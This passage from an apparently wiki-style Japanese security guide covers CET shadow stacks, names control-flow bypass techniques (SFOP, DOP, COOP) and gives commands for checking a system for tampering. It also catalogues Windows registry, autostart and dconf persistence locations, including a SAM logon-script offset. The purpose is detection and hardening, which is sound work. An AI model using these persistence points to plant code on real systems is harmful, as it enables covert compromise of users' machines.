またユーザーランドのシャドウスタックの使用にはユーザーランドだけでなくカーネルの対応も必要となります。Linux カーネル では 6.6 以降対応でこれに対応しています（sigreturnにも対応&lt;ref&gt;[https://github.com/torvalds/linux/commit/05e36022c0543ba55a3de55af455b00cb3eb4fcc x86/shstk: Handle signals for shadow stack · torvalds/linux@05e3602] GitHub 2023年8月3日&lt;/ref&gt;）。 Linuxディストリビューションでは Ubuntu 24.04以降、 Red Hat Enterprise Linux 9.7 以降&lt;ref&gt;[https://docs.redhat.com/ja/documentation/red_hat_enterprise_linux/9/html/9.7_release_notes/new-features-kernel 4.8. カーネル - 9.7 リリースノート - Red Hat Enterprise Linux - 9 - Red Hat Documentation] Red Hat&lt;/ref&gt;が標準でシャドウスタックを有効としています。

現在のLinuxカーネルがユーザーランドの間接分岐追跡およびシャドウスタックを有効にしているかは以下で確認できます (出力例はUbuntu 26.04):
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ grep -E '_(IBT|SHADOW_STACK)' /boot/config-$(uname -r) # y=Yes, n=No
CONFIG_CC_HAS_IBT=y
# CONFIG_X86_KERNEL_IBT is not set
CONFIG_X86_USER_SHADOW_STACK=y
CONFIG_X86_DISABLED_FEATURE_IBT=y
CONFIG_ARCH_HAS_USER_SHADOW_STACK=y
&lt;/syntaxhighlight&gt;

現在のユーザーランドプログラムの中で間接分岐追跡またはシャドウスタックが無効化されているものはLinuxでは以下で確認できます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ # License: CC0 / Public Domain
$ # 間接分岐追跡またはシャドウスタックが無効化されているバイナリを検索
$ find / -type f 2&gt;/dev/null | xargs -I {} sh -c 'readelf -h &quot;{}&quot; &gt;/dev/null 2&gt;&amp;1 &amp;&amp; (readelf -n &quot;{}&quot; 2&gt;/dev/null | grep -E IBT,.*SHSTK &gt; /dev/null || echo &quot;{}&quot;)'
/usr/lib/lv2/carla.lv2/carla.so
/usr/lib/7zip/7z
/usr/lib/7zip/7zCon.sfx
/usr/lib/7zip/7zr
/usr/lib/7zip/7z.so
/usr/lib/7zip/7za
/usr/lib/klibc/bin/ipconfig
/usr/lib/klibc/bin/umount
/usr/lib/klibc/bin/halt
[...]
$ # 間接分岐追跡またはシャドウスタックが無効化されているバイナリを含むDebianパッケージを検索
$ find / -type f 2&gt;/dev/null | xargs -I {} sh -c 'readelf -h &quot;{}&quot; &gt;/dev/null 2&gt;&amp;1 &amp;&amp; (readelf -n &quot;{}&quot; 2&gt;/dev/null | grep -E IBT,.*SHSTK &gt; /dev/null || echo &quot;{}&quot;)' | xargs -r -d '\n' -n1 dpkg-query -S | sed 's/: .*//' | sort -u
7zip
aidl
ardour
avr-libc
cargo-1.93
carla
carla-bridge-wine32:i386
carla-bridge-wine64
carla-lv2
carla-vst
cuda-ctadvisor-13-4
cuda-cudart-13-4
[...]
&lt;/syntaxhighlight&gt;

一方、Linuxカーネルのカーネル側のシャドウスタック対応は2026年現在まだ開発中となっています (x86 Kernel Shadow Stacksパッチシリーズ)&lt;ref&gt;[https://www.phoronix.com/news/Linux-Kernel-Shadow-Stacks x86 Kernel Shadow Stacks Being Worked On For Linux As Powerful Control Flow Protection] Phoronix 2026年10月22日&lt;/ref&gt;。

なお、制御フロー強制テクノロジーの間接分岐追跡とシャドウスタックが有効であっても異なる関数の通常呼び出しは防げません。分かりやすい例では関数の間接呼び出しにおいて関数ポインタを&lt;code&gt;sigaction&lt;/code&gt;へと変更して独自のシグナルハンドラを登録し、その後クラッシュさせてそのシグナルハンドラを呼び出すという「セグメンテーション違反指向プログラミング」(SFOP) が挙げられます。また攻撃に使える関数 (dop gadgets) {{efn|dop gadgetsの検索の公式実装は「DOP-StaticAssist」[https://github.com/melynx/DOP-StaticAssist]だが長らく更新されておらず古いLLVM 3.5に依存している状態となっている。}}の通常呼び出しだけで攻撃する「Data-Oriented Programming」(DOP) &lt;ref&gt;Hong Hu et al. [https://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&amp;arnumber=7546545 Data-Oriented Programming: On the Expressiveness of Non-Control Data Attacks] IEEE 2016年&lt;/ref&gt;{{efn|セキュリティ以外の文脈におけるデータ指向プログラミング、データ指向設計、データ駆動型設計とは異なる。}}という手法も存在します。

C++向けでは仮想関数テーブル (vtable) を改ざんして攻撃に使える仮想関数（仮想関数ガジェット、vfgadget）を呼び出す「偽造オブジェクト指向プログラミング」(COOP) という攻撃手法も登場しています。

=== メモリ安全性の高いソフトウェアへ ===
既存のソフトウェアの脆弱性は7割がメモリ安全性の問題に起因すると言われています&lt;ref&gt;[https://www.cisa.gov/sites/default/files/2023-12/CSAC_TAC_Recommendations-Memory-Safety_Final_20231205_508.pdf REPORT TO THE CISA DIRECTOR Technical Advisory Council Memory Safety] サイバーセキュリティ諮問委員会 (CSAC) 2023年12月5日&lt;/ref&gt;。しかしながら[[C言語]]や[[C++]]はメモリ安全性が低いため、メモリ安全性の確保できる[[Rust]]などで書かれた代替プログラムが登場しています:
{| class=&quot;wikitable&quot;
|+ コマンドのRust版
|-
! コマンドの概要 !! 従来版 !! Rust版
|-
| Unix系の基本コマンド群 || GNU Core Utilities || '''uutils coreutils'''
|-
| ファイル検索コマンド群{{efn|&lt;code&gt;find&lt;/code&gt;、&lt;code&gt;locate&lt;/code&gt;、&lt;code&gt;updatedb&lt;/code&gt;、&lt;code&gt;xargs&lt;/code&gt;の4コマンド}} || GNU Findutils || '''uutils findutils'''
|-
| ファイル差分コマンド群{{efn|&lt;code&gt;diff&lt;/code&gt;、&lt;code&gt;cmp&lt;/code&gt;、&lt;code&gt;diff3&lt;/code&gt;、&lt;code&gt;sdiff&lt;/code&gt;の4コマンド}} || GNU Diffutils || '''uutils diffutils'''
|-
| ストリームエディタ (sed) || GNU sed / FreeBSD sed || '''uutils sed'''
|-
| AWKスクリプト || GNU AWK || '''uutils AWK'''
|-
| 文字列検索 || GNU Grep || '''uutils Grep'''
|-
| tarアーカイブ || GNU Tar || '''uutils tar'''
|-
| アカウント管理コマンド群 || shadow-utils || '''uutils shadow-utils'''
|-
| アクセス制御コマンド群{{efn|&lt;code&gt;chacl&lt;/code&gt;、&lt;code&gt;getfacl&lt;/code&gt;、&lt;code&gt;setfacl&lt;/code&gt;の3コマンド}} || acl || '''uutils acl'''
|-
| procfs{{efn|プロセスファイルシステム}}表示コマンド群 || procps / procps-ng || '''uutils procps'''
|-
| ホスト名管理コマンド群{{efn|&lt;code&gt;hostname&lt;/code&gt;、&lt;code&gt;dnsdomainname&lt;/code&gt;、&lt;code&gt;domainname&lt;/code&gt;、&lt;code&gt;nisdomainname&lt;/code&gt;、&lt;code&gt;ypdomainname&lt;/code&gt;の5コマンド。}} || hostname || '''uutils hostname'''
|-
| Linuxユーティリティ || util-linux || '''uutils util-linux'''
|- 
| 権限昇格 || sudo || '''sudo-rs'''
|-
| 暗号・署名システム || GnuPG || '''Sequoia PGP'''
|-
| 時刻同期 || ntpd || '''ntpd-rs'''
|-
| セキュアシェル (SSH) || OpenSSH || '''russh'''
|}

これらのRustで書かれたコマンドのうちuutils coreutilsとsudo-rsはUbuntuに採用されています。

またライブラリでもRustだけ (Pure Rust) で実装されたものが登場しています:
* 画像ライブラリ - これらは例えばGNOMEデスクトップ環境の画像ローダーGlycinから使われています&lt;ref&gt;[https://gitlab.gnome.org/GNOME/glycin GNOME / glycin · GitLab] GNOME Project&lt;/ref&gt;。
** libpng → pngクレート - PNG画像向け。
** libgif → gifクレート - GIF画像向け。
** libjpeg / libjpeg-turbo → zune-jpeg / libjpeg-turbo-rs - JPEG画像向け。
** OpenJPEG → hayro-jpeg2000 - JPEG 2000画像向け。
** libtiff → tiffクレート - Tiff画像向け
** libwebp → image-webpクレート - WebP画像向け。
** libraw → libopenraw - RAW画像向け。
** librsvg - SVG画像向け。C言語からRustに書き直しされました。
* 圧縮ライブラリ
** zlib / zlib-ng → zlib-rs - Deflate圧縮向け
** libbzip2 → bzip2-rs - BZ2圧縮向け
* 暗号化ライブラリ
** OpenSSL / GnuTLS → [[:w:en:Rustls|Rustls]]
* Unicode処理ライブラリ
** ICU4C → ICU4X
* テキスト整形ライブラリ
** HarfBuzz → HarfRust
* ブラウザエンジン
** Blink/Gecko → Servo

&lt;!--
=== 整合性チェック ===
PatchGuard / HyperGuard
--&gt;

== 不審な改変が行われていないかを調べる ==
例えばOSの起動には一連のシーケンスがありますが、マルウェアは基本的にここの途中に入り込んで永続化します。

{| class=&quot;wikitable&quot;
|+ 起動シーケンス
|-
! 種類 || Windows 11以降 !! Linux (Gnome) !! Linux (KDE)
|-
| 1. 起動ファームウェア || [[:w:Unified Extensible Firmware Interface|UEFI]] || colspan=2 | [[:w:Basic Input/Output System|レガシーBIOS]] / UEFI
|-
| 2. ブートローダー || [[:w:Windows Boot Manager|Windows Boot Manager]] (bootmgfw.efi)&lt;br&gt; → [[:w:Windows Boot Manager#winload.exe/winload.efi|Windows OS Loader]] (winload.efi) || colspan=2 | GRUB{{efn|Ubuntuの標準。}} / systemd-boot / Unified Kernel Image{{efn|Linuxカーネルとブートイメージを単一バイナリにする仕組み。}} / EFI boot stub{{efn|LinuxカーネルをEFIから直接ブートできるようにする仕組み。}}
|-
| 3. カーネル || [[:w:ntoskrnl.exe|ntoskrnl.exe]] || colspan=2 | Linuxカーネル ([[:w:vmlinux|vmlinux]]{{efn|圧縮後はvmlinuzとなる。}})
|-
| 4. 初期化プロセス || [[:w:en:Session Manager Subsystem|smss.exe]]&lt;br&gt; → wininit.exe&lt;br&gt; || rowspan=2 colspan=2 | [[:w:systemd|systemd]]{{efn|以前は代替initもよく使われていたが、今はsystemdが標準となっている。}}
|-
| 5. サービスコントロールマネージャ || colspan=2 | [[:w:en:Service Control Manager|services.exe]]
|-
| rowspan=2 | 6. ログインマネージャ || rowspan=2 | [[:w:Winlogon|winlogon.exe]] || colspan=2 | systemd-logind&lt;br&gt;sd-pam
|-
| [[:w:GNOME ディスプレイマネージャー|GDM]] || [[:w:Simple Desktop Display Manager|SDDM]]
|-
| rowspan=2 | 7. ユーザー初期化プロセス || rowspan=2 | userinit.exe || colspan=2 | systemd
|-
| gnome-session || kcminit&lt;br&gt; → plasma_session
|-
| 8. シェル || [[:w:Windows Explorer|explorer.exe]] || gnome-shell || plasmashell
|-
| 9. コンポジタ || [[:w:Desktop Window Manager|dwm.exe]] || mutter || kwin
|}

また起動シーケンス以外にもアップデートシーケンスへの感染やシェル感染、ブラウザ感染もあります。

{| class=&quot;wikitable&quot;
|+ Windows における代表的なユーザースクリプト又はコマンド起動が可能な設定ファイル
|-
! 規格/アプリケーション !! ユーザー !! システム
|-
| Windows || %APPDATA%\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows\&lt;wbr&gt;Start Menu\&lt;wbr&gt;Programs\&lt;wbr&gt;Startup\&lt;wbr&gt;* || C:\&lt;wbr&gt;ProgramData\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows\&lt;wbr&gt;Start Menu\&lt;wbr&gt;Programs\&lt;wbr&gt;Startup\&lt;wbr&gt;*
|-
| [[:w:PowerShell|PowerShell]] プロファイル&lt;ref&gt;[https://learn.microsoft.com/ja-jp/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-7.6 about_Profiles - PowerShell - Microsoft Learn] Microsoft&lt;/ref&gt; || %USERPROFILE%\&lt;wbr&gt;Documents\&lt;wbr&gt;PowerShell\&lt;wbr&gt;Profile.ps1&lt;br&gt;%USERPROFILE%\&lt;wbr&gt;Documents\&lt;wbr&gt;PowerShell\&lt;wbr&gt;Microsoft.PowerShell_profile.ps1 || C:\&lt;wbr&gt;Windows\&lt;wbr&gt;System32\&lt;wbr&gt;WindowsPowerShell\&lt;wbr&gt;*\&lt;wbr&gt;Profile.ps1&lt;br&gt;C:\&lt;wbr&gt;Windows\&lt;wbr&gt;System32\&lt;wbr&gt;WindowsPowerShell\&lt;wbr&gt;*\&lt;wbr&gt;Microsoft.PowerShell_profile.ps1
|}

{| class=&quot;wikitable&quot;
|+ Linux における代表的なユーザースクリプト又はコマンド起動が可能な設定ファイル
|-
! 規格/アプリケーション !! ユーザー !! システム
|-
| POSIX標準 || ~/.profile || /etc/profile
|-
| XDG Base Directory&lt;wbr&gt;標準 || ~/.local/bin/* ||
|-
| FHS{{efn|Filesystem Hierarchy Standard}}&lt;wbr&gt;標準[https://refspecs.linuxfoundation.org/fhs.shtml] || || /bin/* /sbin/* /usr/bin/* /usr/local/bin/* /etc/inittab
|-
| LSB{{efn|Linux Standard Base}}&lt;wbr&gt;標準[https://refspecs.linuxfoundation.org/lsb.shtml] || || /etc/profile.d/* /etc/init.d/* /etc/cron.d/*
|-
| Desktop Application Autostart Specification&lt;wbr&gt;標準[https://specifications.freedesktop.org/autostart/latest/]{{efn|systemd-xdg-autostart-generator が導入されているシステムではこれらがsystemd設定に自動変換される。}} || ~/.config/autostart/* || /etc/xdg/autostart/*
|-
| Bash || ~/.bash_profile ~/.bashrc || /etc/bash_profile /etc/bash.bashrc /etc/bash.bash_logout
|-
| Z shell (Zsh) || ~/.zshenv ~/.zprofile ~/.zshrc ~/.zlogin ~/.zlogout || /etc/zshenv /etc/zprofile /etc/zshrc /etc/zlogin /etc/zlogout&lt;br/&gt;（または /etc/zsh/zshenv /etc/zsh/zprofile /etc/zsh/zshrc /etc/zsh/zlogin /etc/zsh/zlogout）
|-
| Systemd || ~/.config/systemd/user/* || /etc/systemd/system/* /etc/systemd/user/*
|-
| Xorg || ~/.xinitrc ~/.xserverrc ~/.xsession || /etc/X11/xinit/xinitrc /etc/X11/xinit/xserverrc /etc/X11/Xsession /usr/share/xsessions/*
|-
| Wayland ||  || /usr/share/wayland-sessions/*
|-
| Python || ~/.local/lib/python*/site-packages/*/**{{efn|絶対パスは&lt;code&gt;python3 -c 'import site; print(site.getusersitepackages())'&lt;/code&gt;で確認可能。}} || /usr/lib/python*/dist-packages/*/** /usr/local/lib/python*/dist-packages/*/**{{efn|絶対パスは&lt;code&gt;python3 -c 'import site; print(site.getsitepackages())'&lt;/code&gt;で確認可能。}}
|-
| Perl{{efn|Debian/UbuntuではDebianパッケージ設定システム (debconf) のためにPerlを使用している。}} || || /usr/share/perl*/**  /usr/local/share/perl*/** /usr/lib/*/perl*/** /usr/local/lib/*/perl*/**{{efn|絶対パスは&lt;code&gt;perl -V:installsitearch -V:installsitelib -V:installvendorarch -V:installvendorlib -V:archlib -V:privlib -V:installarchlib -V:installprivlib&lt;/code&gt;で確認可能。}}
|}

=== パッケージ管理ファイルを検証する ===
パッケージ管理システムが管理しているファイルではファイルハッシュが保存されているため簡単にその検証を行うことが可能です:
{| class=&quot;wikitable&quot;
|-
! OS / パッケージシステム !! 検証のみ !! 修復
|-
| Windows || &lt;code&gt;sfc&amp;nbsp;/verifyonly&lt;/code&gt; || &lt;code&gt;sfc&amp;nbsp;/scannow&lt;/code&gt;
|-
| Debパッケージ (Debian / Ubuntu) || &lt;code&gt;debsums -s&lt;/code&gt; || &lt;code&gt;apt install --reinstall $(debsums -cs &amp;verbar; xargs -r dpkg-query -S &amp;verbar; cut -d: -f1 &amp;verbar; sort -u)&lt;/code&gt;
|-
| RPMパッケージ (RedHat / Fedora) || &lt;code&gt;rpm -Va&lt;/code&gt; || 
|}

ただしローカルハッシュが改ざんされている可能性もあるため過信はできません。&lt;!--TODO: ローカルハッシュの検証法--&gt;

自動的にシステムの検証を行うシステムも存在します:
* Android - ブロックデバイスレベルでのハッシュ検証 (dm-verityベース)&lt;ref&gt;[https://source.android.com/docs/security/features/verifiedboot/dm-verity?hl=ja dm-verity の実装] Google&lt;/ref&gt;

&lt;!--
またUbuntuのSnapパッケージでもdm-verityの導入が進められています。

また特定言語のパッケージの検証は以下で可能です:
* PIP (Python): なし
--&gt;

=== システム領域に不審なファイルが追加されていないかを調べる ===
システムの追加ファイルの検知にはパッケージシステムで管理されていないファイルの一覧を返す以下のようなツールが存在します:
* Debian / Ubuntu（Debパッケージ）向け: cruft-ngパッケージ（&lt;code&gt;cruft&lt;/code&gt;コマンド）

上記の&lt;code&gt;cruft&lt;/code&gt;コマンドでは設定ファイルだけ残っているパッケージのファイルも出てきてしまいます。そのため、これが邪魔な時は設定ファイルだけ残っているパッケージを&lt;code&gt;sudo apt purge '~c'&lt;/code&gt;で削除しましょう。

またaptレポジトリに無いインストールされたパッケージは&lt;code&gt;apt list '?obsolete'&lt;/code&gt;で、手動 (manual) でインストールされたパッケージは&lt;code&gt;apt-mark showmanual&lt;/code&gt;で確認できます。これらのコマンドを実行してインストールした覚えないパッケージが入ってないかをチェックしましょう。GUI が使えるのであれば&lt;code&gt;synaptic&lt;/code&gt;を起動して「インストール済（ローカルまたは廃止）」と「インストール済（手動）」を確認するのもオススメです。

=== ユーザー領域に不審なファイルが追加されていないかを調べる ===
ユーザースクリプトの書き換えや追加は検知が難しいです。&lt;!--TODO: 良い方法を書く--&gt;

共有ライブラリやスクリプトによるプラグイン追加も可能となっているため、こちらにも気をつけなければいけません。これには例えば以下があります:
{| class=&quot;wikitable&quot;
|+ 代表的なユーザースクリプトや拡張機能のディレクトリパス
|-
! 種類 !! Windowsのパス !! macOSのパス !! Linuxのパス
|-
| Google Chrome 拡張機能 || %LOCALAPPDATA%\Google\Chrome\User Data\*\Extensions\ || ~/Library/Application Support/Google/Chrome/*/Extensions/ || ~/.config/google-chrome/*/Extensions/
|-
| GIMPプラグイン&lt;ref&gt;[https://gimp.cc/faq/add-gimp-plugins.html How to Install GIMP Plugins - Detailed Guide with Troubleshooting] GIMP.cc&lt;/ref&gt; || %APPDATA%\GIMP\*\plug-ins\ || ~/Library/Application Support/GIMP/*/plug-ins/ || ~/.config/GIMP/*/plug-ins/
|-
| Blenderスクリプト{{efn|起動スクリプト、アドオンを含む。}}&lt;ref&gt;[https://docs.blender.org/manual/ja/dev/advanced/blender_directory_layout.html  Blender&amp;#39;s Directory Layout] Blender Foundation&lt;/ref&gt; || %APPDATA%\Blender Foundation\Blender\*\scripts\ || ~/Library/Application Support/Blender/*/scripts/ || ~/.config/blender/*/scripts/
|-
| Ardourスクリプト&lt;ref&gt;[https://manual.ardour.org/lua-scripting/ The Ardour Manual - Lua Scripting] Ardour&lt;/ref&gt; || %LOCALAPPDATA%\ardour*\scripts\ || ~/Library/Preferences/Ardour*/scripts/ || ~/.config/ardour*/scripts/
|-
| LibreOfficeスクリプト || %APPDATA%\LibreOffice\*\user\Scripts\ || ~/Library/Application Support/LibreOffice/*/user/Scripts/ || ~/.config/libreoffice/*/user/Scripts/
|-
| Visual Studio Code 拡張機能&lt;ref&gt;[https://code.visualstudio.com/docs/configure/extensions/extension-marketplace Extension Marketplace] Microsoft&lt;/ref&gt; || %USERPROFILE%\.vscode\extensions\ || ~/.vscode/extensions/ || ~/.vscode/extensions/
|}

=== 改変・追加されたファイルが危険かを調べる ===
実行ファイルやスクリプトはLinuxでは以下で検出できます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
# cat filelist.txt | xargs file | grep -i -E ':.*(executable|shared object|relocatable|script)'
/etc/init.d/binfmt-support.dpkg-new:                                                                                                    POSIX shell script, ASCII text executable
/etc/update-motd.d/99-livepatch-kernel-upgrade-required:                                                                                POSIX shell script, ASCII text executable
/usr/lib/chromium-browser/plugins/libpepflashplayer.so:                                                                                 ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=5c421e89a5c062a2106a5a4381dc38e779a22795, stripped
&lt;/syntaxhighlight&gt;

またClamAVを導入していれば以下でマルウェアデータベースとの照合を行うことができます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
# cat filelist.txt | xargs clamscan
Loading:     3s, ETA:   0s [========================&gt;]    3.63M/3.63M sigs
Compiling:   1s, ETA:   0s [========================&gt;]       41/41 tasks

/etc/apt/apt.conf.d/00trustcdrom: OK
/etc/apt/auth.conf.d/90ubuntu-advantage: OK
/etc/apt/keyrings/google.asc: OK
[...]

----------- SCAN SUMMARY -----------
Known viruses: 3628164
Engine version: 1.5.4
Scanned directories: 125
Scanned files: 1919
Infected files: 0
Total errors: 10
Data scanned: 247.72 MiB
Data read: 281.17 MiB (ratio 0.88:1)
Time: 17.939 sec (0 m 17 s)
Start Date: 2026:10:11 05:41:30
End Date:   2026:10:11 05:41:48
&lt;/syntaxhighlight&gt;

=== 設定データベースを検証する ===
設定データベースは Windows ではレジストリ、Linuxでは GNOME / MATEの 使う [[:en:dconf|dconf]] が存在します。

Windows の設定データベースはレジストリと呼び「レジストリエディタ」 (&lt;code&gt;regedit&lt;/code&gt;) で表示できます。
{| class=&quot;wikitable&quot;
|+ Windows における代表的なユーザースクリプト、コマンド起動、DLL呼び出しが可能なレジストリ
|-
! 規格/アプリケーション !! 各ユーザー !! 全ユーザー
|-
| Windows || HKEY_USERS\&lt;wbr&gt;*\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows\&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;Run\&lt;wbr&gt;*&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;Run\&lt;wbr&gt;*&lt;br&gt;HKEY_USERS\&lt;wbr&gt;*\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows\&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;RunOnce\&lt;wbr&gt;*{{efn|name=&quot;runonce&quot;|RunOnceは一度のみ実行だが再登録することで何回でも実行可能。}} || HKEY_LOCAL_MACHINE\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows\&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;Run\&lt;wbr&gt;*&lt;br&gt;HKEY_LOCAL_MACHINE\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows\&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;RunOnce\&lt;wbr&gt;*{{efn|name=&quot;runonce&quot;}}
|-
| [[:w:en:Security Account Manager|Security Account Manager]] || || HKEY_LOCAL_MACHINE\&lt;wbr&gt;SAM\&lt;wbr&gt;SAM\&lt;wbr&gt;Domains\&lt;wbr&gt;Account\&lt;wbr&gt;Users\&lt;wbr&gt;*\&lt;wbr&gt;V{{efn|name=&quot;sam&quot;|'HKEY_LOCAL_MACHINE\SAM\SAM\' 以下はレジストリエディタの右クリックの「アクセス許可」で Administrators にアクセス許可を与えないと読めない。なおファイルパスは「C:\Windows\System32\config\SAM」。}}{{efn|Vはバイナリであり、0xCC + (0x60 に指定されたオフセット) からユーザーログオンスクリプトパスを指定する&lt;ref name=&quot;sam-ghost&quot;&gt;Sebastián R. Castro et al. [https://dl.acm.org/doi/pdf/10.1145/3689934.3690839 Ghost in the SAM: Stealthy, Robust, and Privileged Persistence through Invisible Accounts]  ACM 2024年&lt;/ref&gt;。}}
|-
| [[:w:en:Local Security Authority Subsystem Service|Local Security Authority Subsystem Service]] || || HKEY_LOCAL_MACHINE\&lt;wbr&gt;System\&lt;wbr&gt;CurrentControlSet\&lt;wbr&gt;Control\&lt;wbr&gt;LSA\&lt;wbr&gt;Notification Packages&lt;br&gt;HKEY_LOCAL_MACHINE\&lt;wbr&gt;SYSTEM\&lt;wbr&gt;CurrentControlSet\&lt;wbr&gt;Control\&lt;wbr&gt;LSA\&lt;wbr&gt;Authentication Packages&lt;ref&gt;[https://attack.mitre.org/detectionstrategies/DET0207/ Detect LSA Authentication Package Persistence via Registry and LSASS DLL Load] MITRE Corporation&lt;/ref&gt;
|-
| [[:w:en:Active Setup|Active Setup]]&lt;ref&gt;[https://www.advancedinstaller.com/application-packaging-training/msi/ebook/active-setup.html Active-Setup Mechanism] Advanced Installer&lt;/ref&gt; || HKEY_USERS\&lt;wbr&gt;*\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Active Setup\&lt;wbr&gt;Installed Components\&lt;wbr&gt;*\&lt;wbr&gt;StubPath || HKEY_LOCAL_MACHINE\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Active Setup\&lt;wbr&gt;Installed Components\&lt;wbr&gt;*\&lt;wbr&gt;StubPath&lt;ref&gt;[https://attack.mitre.org/techniques/T1547/014/ Boot or Logon Autostart Execution: Active Setup] MITRE Corporation&lt;/ref&gt;
|-
| [[:w:Windowsサービス|Windowsサービス]]&lt;ref&gt;[https://learn.microsoft.com/ja-jp/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree HKLM\SYSTEM\CurrentControlSet\Services レジストリ ツリー - Windows drivers - Microsoft Learn] Microsoft&lt;/ref&gt; || || HKEY_LOCAL_MACHINE\&lt;wbr&gt;SYSTEM\&lt;wbr&gt;CurrentControlSet\&lt;wbr&gt;services\&lt;wbr&gt;*
|-
| [[:w:Winlogon|Winlogon]] || || HKEY_LOCAL_MACHINE\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows NT\&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;Winlogon\&lt;wbr&gt;Shell&lt;br&gt;HKEY_LOCAL_MACHINE\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows NT\&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;Winlogon\&lt;wbr&gt;Userinit&lt;br&gt;HKEY_LOCAL_MACHINE\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows NT\&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;Winlogon\&lt;wbr&gt;Notify&lt;ref&gt;[https://attack.mitre.org/techniques/T1547/004/ Boot or Logon Autostart Execution: Winlogon Helper DLL] MITRE Corporation&lt;/ref&gt;
|-
| [[:w:cmd.exe|cmd.exe]]&lt;ref&gt;[https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/cmd cmd - Microsoft Learn] Microsoft&lt;/ref&gt; || HKEY_USERS\&lt;wbr&gt;*\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Command Processor\&lt;wbr&gt;AutoRun\REG_EXPAND_SZ || HKEY_LOCAL_MACHINE\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Command Processor\&lt;wbr&gt;AutoRun\&lt;wbr&gt;REG_SZ
|-
| [[Microsoft Edge]] || || HKEY_LOCAL_MACHINE\&lt;wbr&gt;SOFTWARE\&lt;wbr&gt;Policies\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Edge\&lt;wbr&gt;ExtensionInstallForcelist&lt;ref&gt;[https://learn.microsoft.com/ja-jp/deployedge/microsoft-edge-policies/extensioninstallforcelist Microsoft Edge ブラウザー ポリシードキュメント ExtensionInstallForcelist - Microsoft Learn] Microsoft&lt;/ref&gt;{{efn|name=&quot;silent-install&quot;|自動的にサイレントインストールする}}
|-
| [[Google Chrome]] || || HKEY_LOCAL_MACHINE\&lt;wbr&gt;SOFTWARE\&lt;wbr&gt;Policies\&lt;wbr&gt;Google\&lt;wbr&gt;Chrome\&lt;wbr&gt;ExtensionInstallForcelist&lt;ref&gt;[https://chromeenterprise.google/intl/ja_jp/policies/extension-install-forcelist/ ExtensionInstallForcelist: 自動インストールするアプリと拡張機能のリストの設定 - Chrome Enterprise] Google&lt;/ref&gt;{{efn|name=&quot;silent-install&quot;}}
|}

Linux の GNOME / MATE 環境には「[[:w:en:Dconf#dconf database|dconf データベース]]」が存在し、それは&lt;code&gt;dconf dump&lt;/code&gt;（'/'区切り）で表示できます。また dconf データベースにスキーマ（規定値と解説）を被せた gsettings も存在し、こちらは&lt;code&gt;gsettings list-recursively&lt;/code&gt;（dconfと異なり'.'区切り）で表示できます。
{| class=&quot;wikitable&quot;
|+ Linux における代表的なユーザースクリプト又はコマンド起動が可能なdconf設定
|-
! 規格/アプリケーション !! ユーザー
|-
| GNOME Settings Daemon || /org/gnome/settings-daemon/plugins/media-keys/custom-keybindings/custom*/command
|-
| Marco ([[w:MATE (デスクトップ環境)|MATE]]) || /org/mate/Marco/keybinding-commands/command-*{{efn|変更した設定は&lt;code&gt;dconf dump /org/mate/Marco/keybinding-commands/&lt;/code&gt;で、デフォルトも含めた設定は&lt;code&gt;gsettings list-recursively org.mate.Marco.keybinding-commands&lt;/code&gt;で表示可能。}}
|-
| MATE Screensaver || /org/mate/screensaver/embedded-keyboard-command&lt;br&gt;/org/mate/screensaver/logout-command{{efn|変更した設定は&lt;code&gt;dconf dump /org/mate/screensaver/&lt;/code&gt;、デフォルトも含めた設定は&lt;code&gt;gsettings list-recursively org.mate.screensaver&lt;/code&gt; で表示可能}}
|-
| mate-applets || /org/mate/panel/objects/object-*/prefs/command
|-
| mate-sensors-applet || /org/mate/panel/objects/object-*/prefs/*/high-alarm-command&lt;br&gt;/org/mate/panel/objects/object-*/prefs/*/low-alarm-command
|}
なお MATE Screensaver と同源の GNOME Screensaver にも /org/gnome/desktop/screensaver/embedded-keyboard-command と /org/gnome/desktop/screensaver/logout-command{{efn|変更した設定は&lt;code&gt;dconf dump /org/gnome/desktop/screensaver/&lt;/code&gt;、デフォルトも含めた設定は&lt;code&gt;gsettings list-recursively org.gnome.desktop.screensaver&lt;/code&gt; で表示可能。}} が存在しますが、こちらは既に廃止されており指定しても無視されます&lt;ref&gt;[https://github.com/GNOME/gsettings-desktop-schemas/blob/main/schemas/org.gnome.desktop.screensaver.gschema.xml.in gsettings-desktop-schemas/schemas/org.gnome.desktop.screensaver.gschema.xml.in at main · GNOME/gsettings-desktop-schemas] GNOME Project&lt;/ref&gt;。

=== メディアに不審なファイルが追加されていないかを調べる ===
メディアの自動実行 ([[:w:en:AutoRun|AutoRun]]) ファイルにもマルウェアが紛れてないか注意しましょう。
